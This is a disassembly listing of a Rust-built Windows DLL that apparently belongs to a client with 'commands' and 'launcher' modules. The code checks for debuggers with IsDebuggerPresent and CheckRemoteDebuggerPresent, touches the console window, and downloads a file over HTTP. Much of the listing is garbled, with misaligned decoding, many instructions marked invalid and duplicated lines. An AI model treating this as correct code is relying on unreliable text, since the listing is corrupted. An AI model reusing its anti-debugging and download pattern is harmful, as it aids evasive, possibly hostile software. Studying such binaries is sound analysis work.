add r15, 0xffffffffffffffe8
mov r14, r12
jmp 0x18000919a
mov qword [rsp + 0x68], rbx
imul r15, r12, 0x18
add r15, 0xffffffffffffffe8
test r15, r15
mov rbx, qword [rsp + 0xf0]
je 0x18000924b
sub rdi, rbx
jb 0x18000927c
mov r12, qword [rbp + 8]
mov r13, qword [rbp + 0x10]
mov rcx, r14
mov rdx, rbx
mov r8, qword [rsp + 0x68]
mov r9, rbx
call fcn.180007b72
sub rdi, r13
jb 0x18000927c
add rbp, 0x18
add r14, rbx
lea rbx, [r14 + r13]
mov rcx, r14
mov rdx, r13
mov r8, r12
mov r9, r13
call fcn.180007b72
add r15, 0xffffffffffffffe8
mov r14, rbx
jmp 0x1800091f4
sub rsi, rdi
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rsi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.mid___len
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, [0x18006d7b0]
call fcn.180069750
mov rdx, qword [rsp + 0x38]
call fcn.180069600
int3
invalid
and al, 0x30
add cl, ch
mov cl, 0
add byte [rax], al
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
mov bpl, byte [rbx + 0x1a]
mov r14, qword [rbx + 8]
mov r12, qword [rbx + 0x48]
mov r15, qword [rbx + 0x50]
lea rsi, [r12 + r15]
mov r13b, byte [rbx + 0x18]
test bpl, bpl
jne 0x180009bad
mov eax, r13d
xor al, 1
mov byte [rbx + 0x18], al
test r14, r14
je 0x180009b3c
cmp r14, r15
jae 0x180009b36
cmp byte [r12 + r14], 0xbf
jg 0x180009b3c
jmp 0x180009be9
jne 0x180009be9
lea rax, [r12 + r14]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x48]
lea ecx, [rsp + 0x48]
call fcn.18000a07d
add byte [rax], al
test r13b, r13b
jne 0x180009bb6
cmp eax, 0x110000
je 0x180009bca
add byte [rcx], dl
add byte [rdx + rbp*2 - 0x47], dh
add dword [rax], eax
add byte [rax], al
mov ecx, 1
add byte [rax], al
add byte [0x180009bea], bh
cmp eax, 0x80
jb 0x180009b86
sbb bh, byte [rcx + 2]
mov ecx, 2
cmp eax, 0x800
jb 0x180009b86
cmp eax, 0x10000
mov ecx, 4
sbb rcx, 0
add r14, rcx
mov qword [rdi], r14
mov r13b, 1
jmp 0x180009b0f
mov rax, qword [rsp + 0x40]
xor ecx, ecx
jmp 0x180009bd5
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
mov ecx, 1
jmp 0x180009bd5
mov byte [rbx + 0x1a], 1
xor ecx, ecx
mov rax, qword [rsp + 0x40]
mov qword [rax], rcx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r15
mov r8, r14
mov r9, r15
call fcn.180069d00
int3
add byte [rax], al
add byte [rcx + 1], bh
lea rdx, [rsp + 0x28]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
mov dword [rdx + 0x10], ecx
mov rcx, rsi
call fcn.1800029c5
invalid
call qword [rax + 0x40c48348]
invalid
pop rsi
ret
sub esp, 0x28
cmp rdx, r8
jbe 0x180009c60
imul rax, r8, 0x38
add rcx, rax
sar byte [rax], 0x48
add ecx, eax
mov rax, rcx
add rsp, 0x28
ret
mov rcx, r8
mov r8, r9
mov eax, ecx
mov eax, ecx
call fcn.1800697a0
int3
cmp rdx, r8
jbe 0x180009c84
shl r8, 4
add rcx, r8
mov rax, rcx
add rsp, 0x28
ret
mov rcx, r8
mov r8, r9
call fcn.1800697a0
add ah, cl
add ah, cl
jbe 0x180009ca4
add rcx, r8
mov rax, rcx
add rsp, 0x28
invalid
sub bl, al
mov rcx, r8
mov r8, r9
call fcn.1800697a0
int1
cli
invalid
add ah, cl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
add byte [rax], al
mov rdi, rdx
mov rsi, rcx
invalid
movzx eax, byte [rdx]
add cl, byte [rax - 0x7d]
clc
invalid
cmp rax, 0xe
ja case.default.0x180009ce4
add byte [rax], al
lea rcx, [0x180082304]
or eax, 0x78627
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rsi + 8], 1
or byte [rcx], al
jmp 0x180009fa5
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
mov r12, qword [rdi + 0x18]
shl r12, 5
add r12, rbx
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x28]
and qword [rax], 0
mov qword [rax + 8], 8
add byte [rax - 0x7d], cl
invalid
adc byte [rax], al
mov qword [rsp + 0xa8], r12
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 + 0x6c], cl
and al, 0x49
add byte [rax - 0x7d], cl
invalid
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 + 0x6c], cl
and al, 0x49
mov r14d, 8
lea rbp, [rsp + 0xd9]
xor edi, edi
mov r15, r12
cmp rbx, r12
invalid
out 0x4c, eax
cmp ebx, esp
invalid
jrcxz case.0x1800084e6.46
je 0x180009d5f
or cl, byte [rbp + rcx*4 + 0x7b]
and byte [rdx + 0x75113c03], cl
cmp al, 0x11
jne 0x180009d63
mov al, 0x11
jmp 0x180009dbd
lea r15, [rbx + 0x20]
mov al, byte [rbx]
cmp al, 0x11
jne 0x180009d63
mov al, 0x11
jmp 0x180009dbd
mov byte [rsp + 0xf8], al
movups xmm0, xmmword [rbx + 1]
adc byte [rbx + 1], al
adc byte [rbx + 1], al
movups xmm1, xmmword [rbx + 0x10]
lea rax, [rsp + 0xf9]
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0xf], ecx
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0xf], ecx
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xf8]
call fcn.180009cb0
sbb eax, 0x48ffffff
cmp dword [rsp + 0x40], 0
jl 0x180009dbb
invalid
invalid
sbb eax, 0x48ffffff
cmp dword [rsp + 0x40], 0
jl 0x180009dbb
invalid
invalid
jl 0x180009dbb
add byte [rdx + 0x41482444], cl
movups xmm0, xmmword [rbp]
adc byte [rbp], al
mov al, byte [rsp + 0x48]
and al, 0x48
movups xmm0, xmmword [r13]
adc byte [rbp], al
movups xmm1, xmmword [r13 + 0xf]
movaps xmmword [rsp + 0xb0], xmm0
and al, 0xb0
add byte [rax], al
invalid
invalid
movups xmmword [rsp + 0xbf], xmm1
adc dword [rsp + 0xbf], ecx
jne 0x18000a023
add al, byte [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 5], cl
mov rbx, r15
movups xmm0, xmmword [rsp + 0xbf]
and al, 0xbf
add byte [rax], al
add byte [rdi], cl
movups xmmword [rsp + 0x7f], xmm0
movups xmmword [rsp + 0x7f], xmm0
and al, 0x7f
jg 0x180009ddd
movaps xmm0, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], al
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
movups xmm0, xmmword [rsp + 0x7f]
and al, 0x7f
movups xmmword [rbp + 0xf], xmm0
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp], xmm0
adc dword [rbp], eax
adc dword [rbp], eax
mov byte [rsp + 0xd8], al
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rcx + rdx], bh
cmp al, 0x11
fadd dword [rax]
add byte [rax], al
cmp al, 0x11
je 0x180009fc6
retf
add byte [rax], al
cmp rdi, qword [rsp + 0x28]
jne 0x180009e16
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
call fcn.180066c75
mov r14, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
and al, 0x38
imul ecx, esi, 0x8b4c0005
je 0x180009e34
xor byte [rax - 0x75], cl
jl 0x180009e39
and al, 0x38
cmp byte [rax - 0x77], cl
clc
mov rax, rdi
shl rax, 5
movups xmm0, xmmword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xe8], cl
movups xmm1, xmmword [rsp + 0xe8]
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [r14 + rax], xmm0
movups xmmword [rsi + rax], xmm0
inc rdi
inc edi
mov qword [rsp + 0x38], rdi
jmp 0x180009d4d
movzx eax, word [rdi + 2]
mov byte [rsi + 8], 0xb
jmp 0x180009e57
movzx eax, word [rdi + 2]
mov byte [rsi + 8], 4
mov word [rsi + 0xa], ax
jmp 0x180009fa5
mov eax, dword [rdi + 4]
mov byte [rsi + 8], 0xc
jmp 0x180009f6e
mov al, byte [rdi + 1]
mov byte [rsi + 8], 9
jmp 0x180009f92
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x57], rax
movups xmm0, xmmword [rdi + 8]
movups xmmword [rsp + 0x47], xmm0
mov byte [rsi + 8], 2
movups xmm0, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x4f]
mov rcx, qword [rsp + 0x57]
movups xmmword [rsi + 9], xmm0
adc dword [rsi + 9], eax
adc dword [rsi + 9], eax
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rcx
and byte [rax - 0x7d], r9b
add cl, ch
inc dword [rax]
add byte [rax], al
and byte [rax - 0x7d], r9b
add cl, ch
inc dword [rax]
add byte [rax], al
lea rax, [rsp + 0x90]
mov qword [rax], rdi
lea rcx, [0x180081490]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cmp byte [rax - 0x73], cl
or eax, 0x775cc
invalid
add byte [rax - 0x73], cl
pop rsp
lea rbx, [rsp + 0x40]
and al, 0x40
mov qword [rbx], rcx
mov r15d, 1
mov edi, 1
mov edi, 1
mov qword [rbx + 8], r15
mov dword [rbx + 8], edi
and qword [rbx + 0x20], 0
lea rcx, [0x1800088a7]
or eax, 0xffffe9c5
mov qword [rax + 8], rcx
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x10], eax
mov dword [rbx + 0x10], eax
mov qword [rbx + 0x18], r15
mov dword [rbx + 0x18], edi
lea r14, [rsp + 0xf8]
mov rcx, r14
mov ecx, esi
mov rdx, rbx
call fcn.180008c30
invalid
inc dword [rcx + 0xf]
adc byte [rsi], al
movups xmmword [rbx + 7], xmm0
mov rax, qword [r14 + 0x10]
mov qword [rbx + 0x17], rax
invalid
invalid
mov byte [rsi + 8], 0x11
movups xmm0, xmmword [rbx]
mov rax, qword [rbx + 0xf]
cmovs ecx, dword [rbx + 0x110f174b]
or dword [rax - 0x77], r9d
mov dword [rsi + 0x18], eax
invalid
invalid
cmovs ecx, dword [rbx + 0x110f174b]
or dword [rax - 0x77], r9d
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x20], rcx
mov qword [rsi], r15
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x20], rcx
mov qword [rsi], r15
movzx eax, byte [rdi]
cmp eax, 2
clc
add cl, byte [rdi]
test cl, bl
add byte [rax], al
invalid
clc
add cl, byte [rdi]
test cl, bl
add byte [rax], al
add byte [rbx + 0x69750ef8], al
invalid
cmp eax, 0xe
jne 0x180009fa9
invalid
imul ecx, dword [rax - 0x7d], 0x894808c7
stc
add rdi, 8
mov rcx, rdi
call case.0x180046f5f.345
jmp 0x180009fb1
mov al, byte [rdi + 1]
mov byte [rsi + 8], 3
jmp 0x180009f92
movss xmm0, dword [rdi + 4]
mov byte [rsi + 8], 7
movss dword [rsi + 0xc], xmm0
jmp 0x180009fa5
mov eax, dword [rdi + 4]
mov byte [rsi + 8], 5
mov dword [rsi + 0xc], eax
jmp 0x180009fa5
mov rax, qword [rdi + 8]
mov byte [rsi + 8], 0xd
jmp 0x180009f85
mov rax, qword [rdi + 8]
mov byte [rsi + 8], 6
mov qword [rsi + 0x10], rax
jmp 0x180009fa5
mov al, byte [rdi + 1]
mov byte [rsi + 8], 0xa
mov byte [rsi + 9], al
jmp 0x180009fa5
movsd xmm0, qword [rdi + 8]
mov byte [rsi + 8], 8
movsd qword [rsi + 0x10], xmm0
and qword [rsi], 0
mov rcx, rdi
call fcn.180006f0b
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x98], rbx
lea rcx, [rsp + 0xd8]
call fcn.180007151
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x57], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rsp + 0x47], xmm0
mov byte [rsi + 8], 0xe
movups xmm0, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x4f]
mov rcx, qword [rsp + 0x57]
movups xmmword [rsi + 9], xmm0
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rcx
and qword [rsi], 0
jmp 0x18000a06b
mov rcx, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
call case.0x180046113.1274
jmp 0x180009fb1
mov qword [rsp + 0x98], r15
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0xbf]
movups xmmword [rsp + 0x7f], xmm0
mov byte [rsi + 8], al
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 9], xmm0
movups xmm0, xmmword [rsp + 0x7f]
movups xmmword [rsi + 0x18], xmm0
mov qword [rsi], 1
lea rcx, [rsp + 0x28]
call case.0x180046f5f.345
lea rcx, [rsp + 0x90]
call fcn.18006673e
jmp 0x180009fb1
and al, 0x78
mov rdx, rsi
call fcn.180008c30
lea rdx, str.V4_Qb_gz_v_f7ZH_k
lea rdi, [rsp + 0x30]
mov r8d, 0xa
mov rcx, rdi
call fcn.180019144
lea rcx, [rsp + 0xf0]
lock add byte [rax], al
add byte [rax - 0x77], cl
cli
lock add byte [rax], al
add byte [rax - 0x77], cl
cli
call fcn.180005562
lea rdx, [0x18006e12a]
lea rcx, [rsp + 0x90]
mov r8d, 0xc
call fcn.180019144
lea rbx, [rsp + 0xa8]
lea rdx, [0x18006e136]
mov r8d, 6
mov rcx, rbx
call fcn.180019144
movups xmm0, xmmword [rbx - 0x18]
movups xmm1, xmmword [rbx - 8]
movups xmm2, xmmword [rbx + 8]
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x10], xmm1
adc byte [rcx + 0xf], al
sub dword [rsi], eax
lea r12, [rsp + 0x40]
and qword [r12 + 0x20], 0
mov qword [r12 + 0x28], r15
mov r13d, 1
movabs rbp, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rcx - 0x7d], 0xfd
add esi, dword [rdx + rdi + 0x4c]
mov dword [rsp + 0x60], ebp
cmp r13, 3
je 0x18000b58a
mov qword [rsp + 0x60], r13
mov rbx, qword [r12 - 0x10]
cmp rbx, rbp
je case.0x180006b46.146
mov r14, qword [r12 - 8]
mov r8, qword [r12]
mov rcx, rsi
mov rdx, r14
call fcn.18005dbc0
mov rcx, rbx
mov rdx, r14
call case.0x180046113.1274
inc r13
add r12, 0x18
jmp 0x18000b54a
mov r15, r13
imul rax, r15, 0x18
lea rsi, [rax + rdi]
add rsi, 8
add r15, 0xfffffffffffffffe
test r15, r15
je 0x18000b5b4
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call case.0x180046113.1274
add rsi, 0x18
inc r15
jmp 0x18000b59a
lea rsi, [rsp + 0xf0]
lea rdx, [rsp + 0x78]
mov rcx, rsi
call fcn.18000552f
dec dword [rax - 0x73]
jl 0x18000b5f1
invalid
dec dword [rax - 0x73]
jl 0x18000b5f1
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rsi
call fcn.18004dda0
cmp dword [rdi], 2
jne 0x18000b612
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x90]
mov qword [r8], rax
lea rax, [0x18006e140]
lea eax, [0x18006e140]
add eax, 0x62b4b
sub rax, qword [r14]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, fcn.18001ba3c
mov edx, 0x2b
call fcn.180069b20
invalid
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
lea rcx, [rsp + 0x90]
movaps xmmword [rcx + 0x30], xmm3
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub dword [rcx + 0x30], ebx
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1800069a8
lea rcx, [rsp + 0xf0]
lock add byte [rax], al
invalid
lock add byte [rax], al
add al, ch
and dword [rbp - 0x3170001], esi
in al, 4
add ah, cl
call fcn.180006b70
call fcn.180059b50
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xdb8
add byte [rax], al
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xd20], xmm15
movq qword [rbp + 0xd20], mm7
movq qword [rbp + 0xd20], mm7
movdqa xmmword [rbp + 0xd10], xmm14
movdqa xmmword [rbp + 0xd00], xmm13
movdqa xmmword [rbp + 0xcf0], xmm12
movdqa xmmword [rbp + 0xce0], xmm11
movdqa xmmword [rbp + 0xcd0], xmm10
movdqa xmmword [rbp + 0xcc0], xmm9
movdqa xmmword [rbp + 0xcb0], xmm8
movdqa xmmword [rbp + 0xca0], xmm7
movdqa xmmword [rbp + 0xc90], xmm6
and rsp, 0xffffffffffffff80
mov rbx, rsp
mov qword [rbx + 0xd00], rbp
add byte [0x14748b6d8], cl
test dword [rax - 0x1fffff4], ecx
invalid
invalid
dec dword [rax - 0x77]
xchg ebx, eax
cwde
add byte [rax], al
add byte [rcx - 0x77], cl
iretd
movzx eax, byte [rcx]
lea rcx, [0x180082340]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbx + 0x178], r15
jmp rax
add byte [0x14748b6d8], cl
or eax, 0xc7480000
test dword [rax - 0x1fffff4], ecx
invalid
xchg ebx, eax
cwde
add byte [rax], al
add byte [rcx - 0x77], cl
iretd
call sub.KERNEL32.dll_IsDebuggerPresent
mov esi, eax
lea rdi, [rbx + 0x6b0]
and dword [rdi], 0
call sub.KERNEL32.dll_GetCurrentProcess
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 0xfa
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 0xfa
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
cmp esi, 1
je 0x180018c85
test byte [rsi - 0x2b], dl
add byte [rax], al
test byte [rsi - 0x2b], dl
add byte [rax], al
push rsi
invalid
cmp dword [rbx + 0x6b0], 1
je 0x180018c85
add byte [rax], al
add byte [rax], al
call sub.KERNEL32.dll_GetConsoleWindow
test rax, rax
je 0x18000b750
mov rcx, rax
xor edx, edx
shr al, cl
retfq 5
shr al, cl
retfq 5
lea rsi, [0x180081690]
lea rdi, [rbx + 0x6b0]
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
call fcn.180005a8c
lea rcx, [rbx + 0x6c8]
add byte [rax - 0x77], cl
xor r8d, r8d
add byte [rax - 0x77], cl
xor r8d, r8d
call fcn.180005a8c
lea rsi, [rbx + 0x9a0]
mov r8d, 0xb0
mov rcx, rsi
mov rdx, rdi
call fcn.180068d66
rcl ch, 1
add eax, 0x7f8d4900
or byte [rcx - 0x48], al
mov al, 0
add byte [rax], al
rcl ch, 1
add eax, 0x7f8d4900
or byte [rcx - 0x48], al
mov al, 0
add byte [rax], al
mov rcx, rdi
mov rdx, rsi
call fcn.180068d66
lea r13, [r15 + 0xb8]
mov byte [r15 + 0xb8], 0
jmp 0x18000b857
lea r8, [r15 + 0x2b8]
movzx eax, byte [r15 + 0x2b8]
lea rdx, [r15 + 0xc0]
test eax, eax
mov qword [rbx + 0x228], rdx
je 0x18000ba70
cmp eax, 3
jne case.default.0x18000b818
lea r12, [r15 + 0x181]
movzx eax, byte [r15 + 0x181]
lea r14, [r15 + 0xc8]
lea rcx, [0x180082354]
imul rax, qword [rdi], 0
add dword [rcx], 0xf410000
mov dh, 0x87
add dword [rcx], 0x8d4d0000
mov bh, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x76b4a
imul rax, qword [rdi], 0
imul rax, qword [rdi], 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbx + 0xd0], r8
jmp rax
mov r13, qword [r15 + 0x178]
jmp 0x18000d4d2
add dword [rax], eax
add cl, ch
lodsb al, byte [rsi]
sbb al, 0
add byte [rbp - 0x73], cl
invalid
invalid
lea r13, [r15 + 0xb8]
movzx eax, byte [r15 + 0xb8]
movzx eax, byte [rdi + 0xb8]
scasd eax, dword [rdi]
mov eax, 0x41000000
movzx eax, byte [rdi + 0xb8]
lea rcx, [r15 + 8]
mov qword [rbx + 0x90], rcx
lea rcx, [0x180082368]
add byte [rax + 0x63], cl
add al, 0x81
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rdi, qword [rbx + 0x90]
mov rax, qword [rdi + 0x10]
mov qword [r15 + 0x48], rax
mov qword [rbx + 0x90], rdi
movups xmm0, xmmword [rdi]
movups xmmword [r15 + 0x38], xmm0
movups xmm0, xmmword [r15 + 0x20]
adc byte [rdi + 0x20], al
movups xmmword [r15 + 0x50], xmm0
push r8
mov rax, qword [r15 + 0x30]
mov qword [r15 + 0x60], rax
call fcn.180059c30
mov qword [r15 + 0x68], rax
mov dword [r15 + 0x70], edx
lea rsi, [rbx + 0x6b0]
mov al, 6
add byte [rax], al
mov rcx, rsi
call fcn.18001f042
cmp qword [rsi], 0
add byte ds:[rdi], cl
test dword [rcx + 2], esi
add byte [rax], al
lea rax, [rbx + 0x6b8]
lea rdx, [r15 + 0x78]
lea edx, [rdi + 0x78]
lea edx, [rdi + 0x78]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
and bl, dh
movq mm3, qword [rax + 0x30]
movdqu xmmword [r15 + 0xa8], xmm3
movdqu xmmword [r15 + 0x98], xmm2
movdqu xmmword [r15 + 0x88], xmm1
movdqu xmmword [r15 + 0x78], xmm0
lea r8, str.https:__testfileorg.netwet.net_testfile.org_1GB__20Corrupt.zip
lea rsi, [rbx + 0x6b0]
push 0x3e
pop r9
mov rcx, rsi
call fcn.180005ab7
cmp dword [rsi], 3
je 0x18000bb37
push 9
pop rax
lea rdx, [rbx + 0x480]
lea rsi, [rbx + 0x6b0]
mov rcx, rax
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
lea rdi, [r15 + 0xc0]
mov rcx, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
lea rsi, [r15 + 0xc0]
lea esi, [rdi + 0xc0]
lea rdi, [rbx + 0x6b0]
mov ebx, 0x6b0
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rbx + 0x98]
call fcn.18001e429
mov rdi, qword [rdi]
cmp rdi, 4
jne 0x18000b962
mov al, 3
jmp 0x18000bd11
mov r14, qword [rbx + 0x6b8]
movups xmm0, xmmword [rbx + 0x6c0]
movaps xmmword [rbx + 0xe0], xmm0
add byte [rax], al
invalid
mov bl, 0xb8
invalid
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbx + 0x6d0]
movups xmm0, xmmword [rbx + 0x6d0]
movaps xmmword [rbx + 0xf0], xmm0
movups xmm0, xmmword [rbx + 0x6e0]
and eax, 6
add byte [rax], al
and eax, 6
add byte [rax], al
movaps xmmword [rbx + 0x100], xmm0
add bl, dh
movq mm0, qword [rbx + 0x6f0]
movdqu xmm0, xmmword [rbx + 0x6f0]
invalid
movdqa xmmword [rbx + 0x110], xmm0
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.180006f8b
cmp edi, 3
je 0x18000bb63
invalid
add byte [rcx - 0x77], cl
mov edi, 0xe0
mov qword [r15 + 0xe0], rdi
mov qword [r15 + 0xe8], r14
mov dword [rdi + 0xe8], esi
movdqa xmm0, xmmword [rbx + 0xe0]
movq mm0, qword [rbx + 0xe0]
movdqa xmm1, xmmword [rbx + 0xf0]
movdqa xmm2, xmmword [rbx + 0x100]
movq mm2, qword [rbx + 0x100]
movdqa xmm3, xmmword [rbx + 0x110]
movdqu xmmword [r15 + 0xf0], xmm0
add bl, dh
movq qword [r15 + 0x100], mm1
add bl, dh
movq qword [r15 + 0x100], mm1
movdqu xmmword [r15 + 0x110], xmm2
movdqu xmmword [r15 + 0x120], xmm3
lea rcx, [r15 + 0x130]
mov r8d, 0x400
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r8, [rbx + 0x6b0]
and dword [r8], 0
pxor xmm0, xmm0
movdqu xmmword [r8 + 8], xmm0
mov dword [r8 + 0x18], 7
and qword [r8 + 0x1c], 0
and word [r8 + 0x24], 0
mov al, 1
mov byte [r8 + 0x21], al
mov byte [r8 + 0x24], al
mov byte [r8 + 0x23], al
lea rcx, str.S:infratClient_target_release_test.
push 0x25
pop rdx
call fcn.18004a800
test rax, rax
jne 0x18000bb79
mov qword [rsi], rdx
jmp 0x18000bbcb
mov r13, qword [rdx]
jmp 0x18000bf2a
mov rcx, qword [r15 + 0xc8]
enter 0, 0
add byte [rbp - 0x75], cl
xchg eax, edx
add byte [rax], al
add byte [rbp - 0x75], cl
invalid
invalid
mov r8, qword [r15 + 0xd0]
mov r9, qword [r15 + 0xd8]
mov ecx, dword [rdi + 0xd8]
mov ecx, dword [rdi + 0xd8]
jmp 0x18000bbf8
add byte [rax], al
movzx eax, byte [r15 + 0x2b0]
lea rsi, [r15 + 0x188]
add byte [rbp - 0x4c76b340], al
mov eax, 0x48000000
mov dword [rbx + 0xa8], ecx
invalid
add byte [rbp - 0x4c76b340], al
mov eax, 0x48000000
mov dword [rbx + 0xa8], ecx
invalid
add byte [rdi], cl
test byte [rdx - 0x7cffffe5], bl
clc
add ecx, dword [rdi]
test esp, ebp
in al, dx
je 0x18000d658
cmp eax, 3
jne 0x18000bbb3
in al, dx
add byte [rax], al
invalid
in al, dx
add byte [rax], al
add byte [rbp - 0x73], cl
scasd eax, dword [rdi]
test al, 2
add byte [rax], al
lea r13, [r15 + 0x2a8]
movzx eax, byte [r15 + 0x2a8]
lea r9, [r15 + 0x1d8]
mov qword [rbx + 0xc0], r9
mov eax, eax
add byte [rax], al
add byte [rbp - 0x4c76b740], al
call 0x1f400baef
invalid
mov eax, eax
add byte [rax], al
add byte [rbp - 0x4c76b740], al
call 0x1f400baef
sbb al, 0x83
clc
add ecx, dword [rdi]
test edi, eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x5d], cl
movabs al, byte [0x298bf8b49000000]
mov rdi, qword [r15 + 0x298]
cmp eax, 3
jne 0x18000bbbf
mov qword [rbx + 0xa0], r12
mov rdi, qword [r15 + 0x298]
jmp 0x18000d710
mov rsi, qword [rbx + 0xc0]
jmp 0x18000d693
movdqu xmm0, xmmword [rbx + 0x6b8]
lea r8, [rbx + 0x480]
movdqu xmmword [r8], xmm0
lea rax, str.srccommands.rs
jmp 0x18000e264
movdqu xmm0, xmmword [rbx + 0x6b8]
lea r8, [rbx + 0x180]
movdqu xmmword [r8], xmm0
lea rax, str.srccommands.rs
jmp 0x18000e264
lea rcx, str.srclauncher.rs
call fcn.180069e10
lea r8, [rbx + 0x6b0]
mov qword [r8], r14
lea rax, str.srccommands.rs
add cl, ch
jrcxz 0x18000bb9c
add byte [rax], al
add cl, ch
jrcxz 0x18000bb9c
add byte [rax], al
lea r8, [rbx + 0x6b0]
mov qword [r8], rdx
lea rax, str.srccommands.rs
xor dword [rax + 0x49000006], 0xffffff89
adc byte [rax - 0x73], cl
add eax, 0x6271e
jmp 0x18000e15c
lea rcx, [0x18006dd58]
call fcn.180069e10
and dword [rsi], eax
add al, ch
jne 0x18000bb7b
add eax, 0xd8d4800
scasb al, byte [rdi]
invalid
lea rcx, str.srccommands.rs
lea ecx, [0x18006e250]
call fcn.180069e10
lea rcx, [0x18006dfb8]
call fcn.180069e10
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_alhc_0.3.0_alpha.3_srcprelude.rsH
call fcn.180069e10
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_alhc_0.3.0_alpha.3_srcwindows_response.rs
call fcn.180069e10
lea rcx, [r15 + 0xe0]
lea r8, [r15 + 0x130]
mov qword [r15 + 0xc8], rcx
mov qword [r15 + 0xd0], r8
mov qword [r15 + 0xd8], 0x400
mov r9d, 0x400
mov rax, qword [rbx + 0x98]
mov rdx, qword [rax]
call fcn.18000958c
cmp rax, 2
je 0x18000bd0f
mov rsi, rdx
test rax, rax
jne 0x18000e1a9
lea rax, str.Reading_bytes..._n
lea rcx, [rbx + 0x6b0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
